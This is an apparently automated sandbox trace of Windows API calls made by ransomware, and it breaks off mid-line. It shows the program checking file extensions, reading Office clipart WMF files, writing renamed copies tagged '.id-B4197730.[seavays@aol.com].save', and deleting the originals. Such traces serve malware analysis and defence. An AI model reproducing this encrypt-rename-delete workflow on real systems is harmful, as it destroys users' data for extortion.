[0170.057] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.057] lstrlenW (lpString=".xls") returned 4 [0170.057] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.057] lstrlenW (lpString=".xlsx") returned 5 [0170.057] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0170.057] lstrlenW (lpString=".ppt") returned 4 [0170.057] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0170.057] lstrlenW (lpString=".zip") returned 4 [0170.057] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.057] lstrlenW (lpString=".rar") returned 4 [0170.057] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.057] lstrlenW (lpString=".bz2") returned 4 [0170.057] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.057] lstrlenW (lpString=".7z") returned 3 [0170.057] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0170.057] lstrlenW (lpString=".dbf") returned 4 [0170.057] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0170.057] lstrlenW (lpString=".1cd") returned 4 [0170.057] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0170.058] lstrlenW (lpString=".jpg") returned 4 [0170.058] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.058] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0170.058] lstrlenW (lpString="J0105496.WMF") returned 12 [0170.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0170.378] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=5156) returned 1 [0170.378] CloseHandle (hObject=0x528) returned 1 [0170.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf")) returned 0x220 [0170.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0170.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0170.380] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0170.380] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0170.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0170.382] GetLastError () returned 0x0 [0170.383] ReadFile (in: hFile=0x528, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x1424, lpOverlapped=0x0) returned 1 [0170.385] WriteFile (in: hFile=0x510, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x1430, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x1430, lpOverlapped=0x0) returned 1 [0170.386] ReadFile (in: hFile=0x528, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0170.386] WriteFile (in: hFile=0x510, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0170.386] SetEndOfFile (hFile=0x510) returned 1 [0170.386] CloseHandle (hObject=0x510) returned 1 [0170.387] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0170.387] SetEndOfFile (hFile=0x528) returned 1 [0170.418] CloseHandle (hObject=0x528) returned 1 [0170.418] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0170.419] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf")) returned 1 [0170.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0170.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0170.420] lstrlenW (lpString=".doc") returned 4 [0170.420] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.420] lstrlenW (lpString=".docx") returned 5 [0170.420] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0170.420] lstrlenW (lpString=".pdf") returned 4 [0170.420] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.420] lstrlenW (lpString=".xls") returned 4 [0170.421] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.421] lstrlenW (lpString=".xlsx") returned 5 [0170.421] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0170.421] lstrlenW (lpString=".ppt") returned 4 [0170.421] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0170.421] lstrlenW (lpString=".zip") returned 4 [0170.421] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.421] lstrlenW (lpString=".rar") returned 4 [0170.421] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.421] lstrlenW (lpString=".bz2") returned 4 [0170.421] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.421] lstrlenW (lpString=".7z") returned 3 [0170.421] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0170.421] lstrlenW (lpString=".dbf") returned 4 [0170.421] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0170.421] lstrlenW (lpString=".1cd") returned 4 [0170.421] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0170.421] lstrlenW (lpString=".jpg") returned 4 [0170.421] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0170.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0170.421] lstrlenW (lpString=".doc") returned 4 [0170.421] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.422] lstrlenW (lpString=".docx") returned 5 [0170.422] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0170.422] lstrlenW (lpString=".pdf") returned 4 [0170.422] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.422] lstrlenW (lpString=".xls") returned 4 [0170.422] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.422] lstrlenW (lpString=".xlsx") returned 5 [0170.422] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0170.422] lstrlenW (lpString=".ppt") returned 4 [0170.422] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0170.422] lstrlenW (lpString=".zip") returned 4 [0170.422] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.422] lstrlenW (lpString=".rar") returned 4 [0170.422] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.422] lstrlenW (lpString=".bz2") returned 4 [0170.422] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.422] lstrlenW (lpString=".7z") returned 3 [0170.422] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0170.422] lstrlenW (lpString=".dbf") returned 4 [0170.422] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0170.422] lstrlenW (lpString=".1cd") returned 4 [0170.422] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0170.422] lstrlenW (lpString=".jpg") returned 4 [0170.422] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.423] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0170.423] lstrlenW (lpString="J0105600.WMF") returned 12 [0170.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0170.424] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=8680) returned 1 [0170.424] CloseHandle (hObject=0x528) returned 1 [0170.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf")) returned 0x220 [0170.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0170.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0170.426] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0170.426] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0170.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0170.428] GetLastError () returned 0x0 [0170.428] ReadFile (in: hFile=0x528, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x21e8, lpOverlapped=0x0) returned 1 [0170.430] WriteFile (in: hFile=0x510, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x21f0, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x21f0, lpOverlapped=0x0) returned 1 [0170.432] ReadFile (in: hFile=0x528, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0170.432] WriteFile (in: hFile=0x510, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0170.432] SetEndOfFile (hFile=0x510) returned 1 [0170.433] CloseHandle (hObject=0x510) returned 1 [0170.433] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0170.433] SetEndOfFile (hFile=0x528) returned 1 [0170.442] CloseHandle (hObject=0x528) returned 1 [0170.442] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0170.443] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf")) returned 1 [0170.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0170.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0170.444] lstrlenW (lpString=".doc") returned 4 [0170.444] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.444] lstrlenW (lpString=".docx") returned 5 [0170.444] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0170.444] lstrlenW (lpString=".pdf") returned 4 [0170.444] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.444] lstrlenW (lpString=".xls") returned 4 [0170.444] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.444] lstrlenW (lpString=".xlsx") returned 5 [0170.444] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0170.444] lstrlenW (lpString=".ppt") returned 4 [0170.444] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0170.444] lstrlenW (lpString=".zip") returned 4 [0170.444] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.444] lstrlenW (lpString=".rar") returned 4 [0170.444] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.444] lstrlenW (lpString=".bz2") returned 4 [0170.445] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.445] lstrlenW (lpString=".7z") returned 3 [0170.445] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0170.445] lstrlenW (lpString=".dbf") returned 4 [0170.445] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0170.445] lstrlenW (lpString=".1cd") returned 4 [0170.445] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0170.445] lstrlenW (lpString=".jpg") returned 4 [0170.445] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0170.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0170.445] lstrlenW (lpString=".doc") returned 4 [0170.445] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.445] lstrlenW (lpString=".docx") returned 5 [0170.445] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0170.445] lstrlenW (lpString=".pdf") returned 4 [0170.445] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.445] lstrlenW (lpString=".xls") returned 4 [0170.445] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.445] lstrlenW (lpString=".xlsx") returned 5 [0170.445] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0170.445] lstrlenW (lpString=".ppt") returned 4 [0170.446] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0170.446] lstrlenW (lpString=".zip") returned 4 [0170.446] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.446] lstrlenW (lpString=".rar") returned 4 [0170.446] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.446] lstrlenW (lpString=".bz2") returned 4 [0170.446] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.446] lstrlenW (lpString=".7z") returned 3 [0170.446] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0170.446] lstrlenW (lpString=".dbf") returned 4 [0170.446] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0170.446] lstrlenW (lpString=".1cd") returned 4 [0170.446] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0170.446] lstrlenW (lpString=".jpg") returned 4 [0170.446] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.446] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0170.447] lstrlenW (lpString="J0105638.WMF") returned 12 [0170.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0170.448] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=10364) returned 1 [0170.448] CloseHandle (hObject=0x528) returned 1 [0170.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf")) returned 0x220 [0170.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0170.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0170.449] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0170.449] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0170.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0170.648] GetLastError () returned 0x0 [0170.648] ReadFile (in: hFile=0x528, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x287c, lpOverlapped=0x0) returned 1 [0170.656] WriteFile (in: hFile=0x548, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x2880, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x2880, lpOverlapped=0x0) returned 1 [0170.657] ReadFile (in: hFile=0x528, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0170.657] WriteFile (in: hFile=0x548, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0170.657] SetEndOfFile (hFile=0x548) returned 1 [0170.668] CloseHandle (hObject=0x548) returned 1 [0170.668] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0170.668] SetEndOfFile (hFile=0x528) returned 1 [0170.722] CloseHandle (hObject=0x528) returned 1 [0170.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0170.722] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf")) returned 1 [0170.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0170.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0170.724] lstrlenW (lpString=".doc") returned 4 [0170.724] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.724] lstrlenW (lpString=".docx") returned 5 [0170.724] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0170.724] lstrlenW (lpString=".pdf") returned 4 [0170.724] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.724] lstrlenW (lpString=".xls") returned 4 [0170.724] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.724] lstrlenW (lpString=".xlsx") returned 5 [0170.724] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0170.724] lstrlenW (lpString=".ppt") returned 4 [0170.724] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0170.724] lstrlenW (lpString=".zip") returned 4 [0170.724] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.724] lstrlenW (lpString=".rar") returned 4 [0170.724] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.724] lstrlenW (lpString=".bz2") returned 4 [0170.724] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.724] lstrlenW (lpString=".7z") returned 3 [0170.724] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0170.724] lstrlenW (lpString=".dbf") returned 4 [0170.724] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0170.724] lstrlenW (lpString=".1cd") returned 4 [0170.724] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0170.725] lstrlenW (lpString=".jpg") returned 4 [0170.725] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0170.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0170.725] lstrlenW (lpString=".doc") returned 4 [0170.725] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.725] lstrlenW (lpString=".docx") returned 5 [0170.725] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0170.725] lstrlenW (lpString=".pdf") returned 4 [0170.725] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.725] lstrlenW (lpString=".xls") returned 4 [0170.725] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.725] lstrlenW (lpString=".xlsx") returned 5 [0170.725] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0170.725] lstrlenW (lpString=".ppt") returned 4 [0170.725] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0170.725] lstrlenW (lpString=".zip") returned 4 [0170.725] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.725] lstrlenW (lpString=".rar") returned 4 [0170.725] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.725] lstrlenW (lpString=".bz2") returned 4 [0170.725] 